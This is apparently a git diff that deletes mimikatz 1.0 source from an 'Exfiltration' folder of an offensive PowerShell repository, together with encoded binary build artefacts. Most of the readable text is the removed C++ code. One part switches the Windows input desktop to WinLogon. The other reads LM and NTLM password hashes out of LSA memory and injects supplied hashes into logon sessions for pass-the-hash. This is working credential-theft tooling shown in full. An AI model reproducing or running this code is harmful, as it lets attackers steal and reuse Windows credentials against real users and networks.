znSikS&viWINKr8Ah27t-->Ehv?EW?xPLpo_HHYMk{>Ye6vLf7h2f;?fIp!`-f<|u=~5}6A7Q1 z`tGmoi5g+|cU$HoEH5WFQ-`iU*OHAEc7MB#7Ir@+_Nw@Zc%v`o5O#n6`3Sqe+bRmX z|FU+)!qO9Ve^*Q7IuH1Y|l`2A_}yy``ad>h21|i z%Mf;dcN~30EjOxlOmwmTNZ9@DwT4uSNoSPr#%>Dgny~vXW%e(q=y8tY0l1*mw7Y+8 zPuTr^5lMx98$-{8-QVrmXc2|o-*1P6-A^mbo|j>$HCG7s8 zmWz2_6}|il*!^A|NV_sJHx!hIvPU8++I-q35FKYe(J6%aA+>5+K-20NIffAC`(tP! z%yYv@-Y(D`&{JvuEr+{B7YVBr%r0#Jc%y)I+CCji55Ggb<%Y`uC#Mo?} zju7T)&+BN8EBLqvJYGucUI_D-ItW>R z-Jt@@%%8T#TeF2QKV)u82=o1OQifvek8qL@bA&M8jwmFA`61dag!!&M>V)Y|efQV) zM2!&UyDLgUn7=ed*qn3nmujm4vipX3UA$5Br>Ra2b$=azCLzrC$7Ci)xhGPm)RGs) z*Npkj6iS3Jf5|EyQS~Qc(WdNc@V7uhnD2_ogfQQS>L`TyzS9xH{E&Pw^~MNczE753 z;4O&e9>vECVZM)BLYNgWgD>=H+_swdo)6Bb|LOKyP8$(f-8KDotD ze8u1Q_%bvGzDBRRD5DeZXtzG*XZ!@Q3E$&Ao7Y&CwYb0V{^=|4vAf$UL%iLYAyIE5qyPwX^+Eg(s z6EP}CGf-l<0r}_|H!oG8F{i4{9pV^&su-jF3drd~b{~qH-Y#jch@<%%h%e$TbwYL* zviq_4QhYAn{mB1#+rNQ5+(0__#TCArBVT0BXC7tP#(+D>IHzNCOZk*Io{>V@QQ@t3 zP3&?ZyEm~do2MgW_tV%;$nKYCtnEgZJ;~m>Zgx}1?rq2$b~ZwGKh^M*y>aF`hWxS$ zwhlszkloKQNlapd?B1nG3q*ehM6&+cBxLtyv?pZu)AP8;b_RdDFJ$-rt$1tPzbP3L(3nd**~vD`fYsvk|g8yDYl%BW{n}2B;QWj45RIb2+w?5wd%m z3^Tfkf_QIy60&<6pM>n*ZiDOo`!Ptgm%Be|+%1o36Zy(rA~eKx5|kcA-i{1l!WYl3By>(?pK)g@AvOQcE5Z^$r{<*i@$ZWT5_Z* z93i{++3EU>lE3r_*}Xl2J|d>vW4?_s2dA3-ITei_%LR#tI}dO=LU!-NcNVhy5Y(Q8 zULa)mK3Nj7d*A8Y!eeYow5@#I+EXf;LUyO0x*XNlvDE#2eVrO1yZ7g;$!c>dEGCY6 z1bH$P^>jutY?F}P`z5=My!cwq2N1Vo8zS1a*?Xd?`%8C4OANUdvU^{I6l;?lEn>oq zi6T9mWBvyG)yIsT=u=`yA-l6?CuH|N45=ydC1m%v$(NAb-*#R?cK^2&ExiuLz#yXvy^TegQ}Roh4Nz-~2!rj^mTG+vQRpVQ%b#DRxe~U9{U}N_;jp z-(ePLxnOQA(<$0u9lnoQv!5ySFutF|<8P74H$BkL=UJK}jj?w(M)UHT=wxxGZYU7G0D&C}6t7uMHiur>)bL%UrrqpVm@mv*}}C8w!b z+}vERD0*c~+U;_x;VFC5ZkML~+PUPehm5Px7!^dz+`>A?&?N14>Czs2ZkHx!=7{vP+vU7&$1c43M1!~7YPU;0Cou$c?RGhr+d4M9x6CG5_CajF(WBii zoOfx%CboE2yItDOhLPSiq8L_*z4glY6laIY4Kk7_`&1a+M4`p_q}?uU`lQ`1?KU|1 zOzvjOIZ-#R>R{C5?vENri)j;knzh@dU8Cruct^Ow*J+33&#$)fU({}wde*YRe$H=r z*xhNqC}Mg?ll2A1pop|Q;K94)d=!ndIoj>g?xnQbrOg6sw@de~4p!5M-sta_h)L`p?-MF ziOuf4B11`&O8zknyRvP*I>zKKy9}sF%u-gcHaWB0sgW?}&)3j!|4C5ocIihOGdy2^ zKBXCA?RIHLrhY+hHMKpb9h{=&*8TMgnpi8ziDNK@D(!aBZkI7Tf$De@H}Ivm0X&y> zyIh(#ZqDfV`!JhotZ!5Cr>Ra2eSHkP5Id<&vgpw~KbWjNP}#nY%*>e;RF< zN;G;b7u0T-88C9rJJM&Ex*=jgzS`K7Oh>z2hU|Ap$adQ8(ud8h-7bBnqunl-qC=u; zZn0%D-8DtYGU&;OD;EQ^v7$!1UHWU%$!gOFYqv{#Jvi0N(;3BxO0?UhU$X0yP}=R% zol|SKOTQd(ikaQJG4=v!w@W{_4BJvsSQB=vtZwAF$D diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/CL.write.1.tlog deleted file mode 100644 index 73eaec6743f26b68834f76a6c282c3db5eb2bb5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3668 zcmeH~-EM+F5QWcm6CXvR^{#h-n-&X5RQzd3`yxKO`Ypt^kaE-3xN8U(%gpR9GiMGn zyQky3B0Z_pvtq6FqCz23u7$QTT55&PDB&^Mp|`qNDPzX`0DXy^X~T+Fv_ovx9wP-%EGj>U^M|>^U;imp2#1Rs4z-Z$(;9>nt@H1lk{_cjy zHG)NzFY9Y9e}H6AWz&H5(h+pKeT^%oxsB*bd)Tms6X_?O13fs-*DWm0G}U8^y9;p^~K+Ov}=uzu{3+pR|Ky2OTYf$4b^hONni})b2@)mRiN8q q+})La>YzQ|e?0?s<9(@x^+~Wt`dUag`)7~#|J-eUb9cB0j-LTA?h+LM diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/cl.command.1.tlog deleted file mode 100644 index 5cef6b960f3ad63b607b1af1c68f4aeecc964dea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5964 zcmeI0U2hUW6o%hx6aRzheYMp)?)X^N4J=FekV=SzVzETnlD1aqk5`|wvp}&SsooUK zWCOG3W6qqN^Uj-@`StUY$|`7}P?0)%udYf+O(p6nP)luef$BVg&d{4KQcT;xzleT- z+|UPl)X*MdGkb(o#G{Y>PtCDT^;#!b%JhnPxmj*JOK1JL3uTLyJr|)tolPe}vw$O?5|)uV^h>vrmymc-&(* z>7izmt>tlrZO*tUx$H+yb8`AjMl-(WCeNzRH&}Klwi&-K{7mlYUEZGY?WReXC)c_j z2{D|!%soP?VVVm6J!Y>#jJIn|Bdb@53WjUlF!!qvy+=(}y@zi`8M4tQ`@{P`w1XhGx^*I=IfpZ)F)VnIF8XA8Y!iLOwF=NC4 - - - - - - - - - diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate deleted file mode 100644 index 4d28193..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/klock.res deleted file mode 100644 index 3104953fd2cbbed0751773c0dfa68f3ee25f5739..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 740 zcmZ{iK}y3w6o&tlAPQM{1G8|UAks<}?p#=vqNu3UrLW7=@>bugZdH5K>{G;Ks|ySmmL^O3IDb#$R~ z{yWUa?9KS_zrH1tUvaqgz(ysX&qaP+@~Q2?S8Ak0nPS)y4K;u{)1z{LpCox|D#GsV z+Gm#b72rPv^Q=NW@UNVv$KSxxpRi^y8@^DdtS^{g-5}4^X@eTWYw8ykos(roN?uMR zCHnzX2y zMwMYr(fmA8-)cAm7h9C+LVnWJk$ zC(7Ds^rss}bYwLz<}52;*4-x0<7M@z2bFC2Fe!mZ;8?=nUMjR2gFf`4GI% zyrIwR_yl^unyshILL|PjzKa~_NP%9nQb#UAW5{TF6YTZbSw~yU*vAXg{#I`ac))t3 zkNUHx-nU((`{jK`&a3!c=j`?```-I=7#uoQCosLe=aHnY9{2e)I{HGzcVSiba27B1 zLWdx2o~HXxTt8|fSD_a)`6VhL)8q^dD?fCBTt76?jfQlKmacWDv6fhvFiv?A{nWx? zxn_)Wv{oNa^fk0O?bbB>o7B0J@MjD)w*q9;YqmIDj2G+cYyad+!B<16dit;(tQ zI3dsJmgBT>rB*;va_5mc5;0sc`7XSP$X=Bk966*)O*P1z-MTSrA)0-?G`PWIY-O$s zdOp})-9m@m!_T#nd{>bR$=C4lgLbgl2BZ{0Zv~m=nPt$|jaUB1V>`U(2;&AD=PHKMk=^ zvTk8`##>pBfkW9g1*eZ^6Hr=w$3YTvrkW$ly4jz7^+~#czstF9?O;Fay1JK5 z-gR>q`}adRRsq+Z*yj8xOsX}D)~g9MsaB>5mK+UG%_vMiM{Cx7t#u~MT<}c= z1Lm})tpD*Fb*lM$$;ygHwW{JhGKdD$#v`Lo4K;NLo&dYz3=I!Qe32dqMPH3vfF#UUnUw?4f?TJ`qW*WseSkEh!l)Z85N*vc`d!qlAT;yMn0{&ZKiH}_*QS52O_K2$WZ GVX#lutyPo& diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/link.write.1.tlog deleted file mode 100644 index ed695bea19e64bbbc5598a6ed19a6031ec6e68f7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1570 zcmdUv%L>9U5Jm4=@KY>4cJ5M*8cnOT^-0km@!Qpt2!eteHxjy-&Yfg(=Xt-KHPKkD z=5lJZ&{jFxMr-Y5RjCHE@_beY@PIiL$ddC0yhSgy_6FG=wK7O z+S2J&;*q#Gk11E9){%*C=&IsXi>^9M QTk>D>M1$x9JS(8Ws9HPkLde|zptj0HsTw*~q$4%KA|-qxoq!t_tHxP}AA)DZb#2faGqSL3D(7-PY=(in0ikG&K&+ZxJ{Ge zJJcPh?bz}?qH`E8w@eb@BtgonmGUf diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/mt.read.1.tlog deleted file mode 100644 index 6e3ab6c68b7b172e25e4c71337a433e3acd6ed49..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1098 zcmdUu%}#?*5QWd$#CKq+ixN;%t2>~#l@v--C~eG*PvWzy-&{;;v2o+V7(%%7bI+VP zGrYgOsL-RlmMYchNjv3O8#UU?X{#2WQ^n(Sz;C`%HQzP)8GetwR?m$U-U%^_mslAY z&&0=`iBiQ%h*ad|AZC0G*HO=NvjVN)>tSK&x4Jp;$C{Hh*VY1exZJH@(`gfcgrsT1b zv(FSwO~qVCEyk$dCl!O~K=;gTn6raH!`XJK*Ik%Y%w8qDsUGlJl`Z~ZvyRn%vo9@Z qtI+wFbFcfrA)|7R3Z_8~;~3tDunR>{#igR`@!4;WaeEtCLpIy^(+n051 t)uQ0t@Xp#=SOLG;TmJP@<%&ypul9OvkN9BD=RSGN)`z{Py3hH&-wx=IT=f6| diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.read.1.tlog deleted file mode 100644 index ee2aaa13729167377105a15d48b462c639dbeeb3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2532 zcmd6p%TB{E5Jm4AiGS!47LDiz5WCb#O4RhBrb!Tr=>Pu&aAs18s$v5aIf~SH#$(U% z_{Q$X`r*Tkpzd+fDZMlA78>9hV4 zD<$HU{&UY%GbOsCry_37j45xMHz!}u$cotl@6&cdM9{Uaj>KE+4cs<*rHKm08)Z%V z2G&R2>-LyEcx+940n-H9lDNkCC$#poGkhERW{?eZEtz^>MMZ|fEn90KkHzQSTaat# zc@t_iHolHktuM}3v-+j))i8fXx`D_3vz^|qpDz$! A$^ZZW diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/klock/Win32/rc.write.1.tlog deleted file mode 100644 index a07a6d6ef44693787a2899d9780df75125feb7ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 374 zcmd6iO9}!p5JcZv@F+9**}2PvpusqbzY!U{|0&d$o#+K5i%M5jcUQlj4AdbSEW?&{x6!Jw{y{_he1A+QCU;qFB diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp b/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp deleted file mode 100644 index 9717c49..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.cpp +++ /dev/null @@ -1,97 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "klock.h" - -__kextdll bool __cdecl getDescription(wstring * maDescription) -{ - maDescription->assign(L"kLock : librairie de manipulation des bureaux"); - return true; -} - -bool getNameOfDesktop(HDESK desktop, wstring &bureau) -{ - bool resultat = false; - - wchar_t * monBuffer; - DWORD tailleRequise = 0; - - if(!GetUserObjectInformation(desktop, UOI_NAME, NULL, 0, &tailleRequise) && (tailleRequise > 0)) - { - monBuffer = new wchar_t[tailleRequise]; - if(resultat = (GetUserObjectInformation(desktop, UOI_NAME, monBuffer, tailleRequise, &tailleRequise) != 0)) - { - bureau.assign(monBuffer); - } - delete[] monBuffer; - } - return resultat; -} - -__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments) -{ - wstringstream maReponse; - wstring source, cible, monBureau; - bool modeFullAuto = true; - - if(mesArguments->size() == 2) - { - modeFullAuto = false; - source = mesArguments->front(); - cible = mesArguments->back(); - } - - if (HDESK hOriginalDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ | DESKTOP_SWITCHDESKTOP)) - { - if(getNameOfDesktop(hOriginalDesktop, monBureau)) - { - maReponse << L"Bureau courant : " << monBureau << endl; - - if((_wcsicmp(monBureau.c_str(), source.c_str()) == 0) || modeFullAuto) - { - if(modeFullAuto) - cible = _wcsicmp(monBureau.c_str(), L"Default") == 0 ? L"WinLogon" : L"Default"; - - maReponse << L"Bureau cible : " << cible << endl; - - if (HDESK hNewDesktop = OpenDesktop(cible.c_str(), 0, FALSE, DESKTOP_SWITCHDESKTOP)) - { - if (SwitchDesktop(hNewDesktop)) - maReponse << L"Switch du bureau réussi !"; - else - maReponse << L"Erreur : impossible de basculer le bureau ; SwitchDesktop : " << mod_system::getWinError(); - maReponse << endl; - CloseDesktop(hNewDesktop); - } - else maReponse << "Erreur : impossible d\'ouvrir le bureau cible (" << cible << L") ; OpenDesktop : " << mod_system::getWinError(); - } - else if(!modeFullAuto) - maReponse << L"Erreur : le bureau courant (" << monBureau << L") ne correspond pas au bureau source indiqué (" << source << L")" << endl; - } - else maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; - - CloseDesktop(hOriginalDesktop); - } - else maReponse << L"Erreur : impossible d\'ouvrir le bureau courant ; OpenInputDesktop : " << mod_system::getWinError() << endl; - - return sendTo(monPipe, maReponse.str()); -} - -__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments) -{ - wstringstream maReponse; - wstring monBureau; - - if (HDESK hDesktop = OpenInputDesktop(0, FALSE, GENERIC_READ)) - { - if(getNameOfDesktop(hDesktop, monBureau)) - maReponse << L"Bureau courant : " << monBureau << endl; - else - maReponse << L"Erreur : impossible d\'obtenir le nom du bureau courant ; getNameOfDesktop : " << mod_system::getWinError() << endl; - - CloseDesktop(hDesktop); - } - return sendTo(monPipe, maReponse.str()); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h b/Exfiltration/mimikatz-1.0/librairies/klock/klock.h deleted file mode 100644 index e6ea046..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.h +++ /dev/null @@ -1,14 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "mod_system.h" - -__kextdll bool __cdecl getDescription(wstring * maDescription); - -bool getNameOfDesktop(HDESK desktop, wstring &bureau); -__kextdll bool __cdecl echange(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getDesktop(mod_pipe * monPipe, vector * mesArguments); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc b/Exfiltration/mimikatz-1.0/librairies/klock/klock.rc deleted file mode 100644 index 28599d25a1e95a63dc6864446ed6dd81d2f0fb25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1866 zcmbu9TW=C!5Qg7t6aT{}z0t%NsQm-wC~*s<3#eD5Qi>ZYOJIqI_}kTIzGd0MQX@2* zJeE(qz_1t@l16m)jpavjLJ)Tu*L4B;Vrfj-oo4MkNV?)*a4myWTMdxJf z>2>VkJ0|CAs+1J??N{pvG5`Po diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj deleted file mode 100644 index a93a79d..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj +++ /dev/null @@ -1,131 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {6556249E-1C80-4047-A863-F608C8B8AC55} - Win32Proj - klock - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - user32.lib;shlwapi.lib;secur32.lib - NoErrorReport - - - 0x040c - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;KLOCK_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - user32.lib;shlwapi.lib;secur32.lib - NoErrorReport - - - 0x040c - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters deleted file mode 100644 index cc5f342..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/klock/klock.vcxproj.filters +++ /dev/null @@ -1,53 +0,0 @@ - - - - - {255a8a01-9f58-4a47-9d1e-1d5fc9f16419} - - - {d6070dc8-7a9b-46c0-b75a-5fd6c10f8613} - - - {01639990-b135-46fe-8511-84761977c1bf} - - - {fa3fed71-2d05-4e39-a46b-59e9b2c83e04} - - - {e53f7390-cd26-41d0-9f10-ea350fc88e43} - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - Modules Communs\System - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - - Modules Communs\System - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp deleted file mode 100644 index b429e5a..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.cpp +++ /dev/null @@ -1,153 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "msv1_0.h" - -bool searchMSVFuncs() -{ - if(!MSV1_0_MspAuthenticationPackageId) - MSV1_0_MspAuthenticationPackageId = (mod_system::GLOB_Version.dwBuildNumber < 7000) ? 2 : 3; - return (searchLSAFuncs() && (MSV1_0_MspAuthenticationPackageId != 0)); -} - -bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) -{ - wostringstream maReponse; - if(searchMSVFuncs()) - { - unsigned short reservedSize = 0; - PMSV1_0_PRIMARY_CREDENTIAL kiwiCreds = NULL; - if(NT_SUCCESS(NlpGetPrimaryCredential(logId, &kiwiCreds, &reservedSize))) - { - wstring lmHash = mod_text::stringOfHex(kiwiCreds->LmOwfPassword, sizeof(kiwiCreds->LmOwfPassword)); - wstring ntHash = mod_text::stringOfHex(kiwiCreds->NtOwfPassword, sizeof(kiwiCreds->NtOwfPassword)); - - if(justSecurity) - maReponse << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; - else - { - maReponse << endl << - L"\t * Utilisateur : " << mod_text::stringOfSTRING(kiwiCreds->UserName) << endl << - L"\t * Domaine : " << mod_text::stringOfSTRING(kiwiCreds->LogonDomainName) << endl << - L"\t * Hash LM : " << lmHash << endl << - L"\t * Hash NTLM : " << ntHash; - } - SeckPkgFunctionTable->FreeLsaHeap(kiwiCreds); - } - else maReponse << L"n.t. (LUID KO)"; - } - else maReponse << L"n.a. (msv KO)"; - - return sendTo(monPipe, maReponse.str()); -} - -__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); - return getLogonData(monPipe, mesArguments, &monProvider); -} - -__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream maReponse; - if(searchMSVFuncs()) - { - if(!mesArguments->empty() && mesArguments->size() >= 1 && mesArguments->size() <= 2) - { - wstring idSecAppHigh = L"0"; - wstring idSecAppLow = mesArguments->front(); - if(mesArguments->size() > 1) - { - idSecAppHigh = mesArguments->front(); idSecAppLow = mesArguments->back(); - } - - LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); - if(idApp.LowPart != 0 || idApp.HighPart != 0) - maReponse << (NT_SUCCESS(NlpDeletePrimaryCredential(&idApp)) ? L"Suppression des données de sécurité réussie :)" : L"Suppression des données de sécurité en échec :("); - else maReponse << L"LUID incorrect !"; - } - else maReponse << L"Format d\'appel invalide : delLogonSession [idSecAppHigh] idSecAppLow"; - } - else maReponse << L"n.a. (msv KO)"; - - maReponse << endl; - return sendTo(monPipe, maReponse.str()); -} - -__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream maReponse; - if(searchMSVFuncs()) - { - if(!mesArguments->empty() && mesArguments->size() >= 4 && mesArguments->size() <= 6) - { - MSV1_0_PRIMARY_CREDENTIAL kiwicreds; - RtlZeroMemory(&kiwicreds, sizeof(MSV1_0_PRIMARY_CREDENTIAL)); - - wstring idSecAppHigh = L"0", idSecAppLow, userName, domainName, lmHash, ntlmHash = mesArguments->back(); - kiwicreds.LmPasswordPresent = FALSE; - kiwicreds.NtPasswordPresent = TRUE; - - switch(mesArguments->size()) // méchants arguments utilisateurs - { - case 4: - idSecAppLow = mesArguments->front(); - userName = mesArguments->at(1); - domainName = mesArguments->at(2); - break; - case 6: - idSecAppHigh = mesArguments->front(); - idSecAppLow = mesArguments->at(1); - userName = mesArguments->at(2); - domainName = mesArguments->at(3); - kiwicreds.LmPasswordPresent = TRUE; - lmHash = mesArguments->at(4); - break; - case 5: - if(mesArguments->at(3).size() == 0x20) - { - idSecAppLow = mesArguments->front(); - userName = mesArguments->at(1); - domainName = mesArguments->at(2); - kiwicreds.LmPasswordPresent = TRUE; - lmHash = mesArguments->at(3); - } - else - { - idSecAppHigh = mesArguments->front(); - idSecAppLow = mesArguments->at(1); - userName = mesArguments->at(2); - domainName = mesArguments->at(3); - } - break; - } - - LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); - - if(idApp.LowPart != 0 || idApp.HighPart != 0) - { - if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) - { - mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); - mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); - if(kiwicreds.LmPasswordPresent) - mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); - mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); - - maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de données de sécurité réussie :)" : L"Injection de données de sécurité en échec :("); - } - else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractères, le nom d\'utilisateur et le domaine/poste au maximum 22 caractères"; - } - else maReponse << L"LUID incorrect !"; - } - else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; - } - else maReponse << L"n.a. (msv KO)"; - - maReponse << endl; - return sendTo(monPipe, maReponse.str()); -} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h deleted file mode 100644 index 4749573..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h +++ /dev/null @@ -1,16 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" -#include "msv1_0_helper.h" - -bool searchMSVFuncs(); -bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); - -__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp deleted file mode 100644 index 7ccb8e5..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp +++ /dev/null @@ -1,53 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "msv1_0_helper.h" -DWORD MSV1_0_MspAuthenticationPackageId = 0; - -void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) -{ - if(String->Buffer) - String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); -} - -NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) -{ - STRING PrimaryKeyValue, CredentialString; - mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); - - NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); - NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); - CredentialString.Buffer = reinterpret_cast(Credential); - CredentialString.MaximumLength = CredentialString.Length = CredentialSize; - SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); - return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); -} - -NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) -{ - ULONG QueryContext = 0, PrimaryKeyLength; - STRING PrimaryKeyValue, CredentialString; - mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); - - NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); - if(NT_SUCCESS(retour)) - { - SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); - *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; - NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); - NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); - if (CredentialSize) - *CredentialSize = CredentialString.Length; - } - return retour; -} - -NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) -{ - STRING PrimaryKeyValue; - mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); - return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); -} \ No newline at end of file diff --git 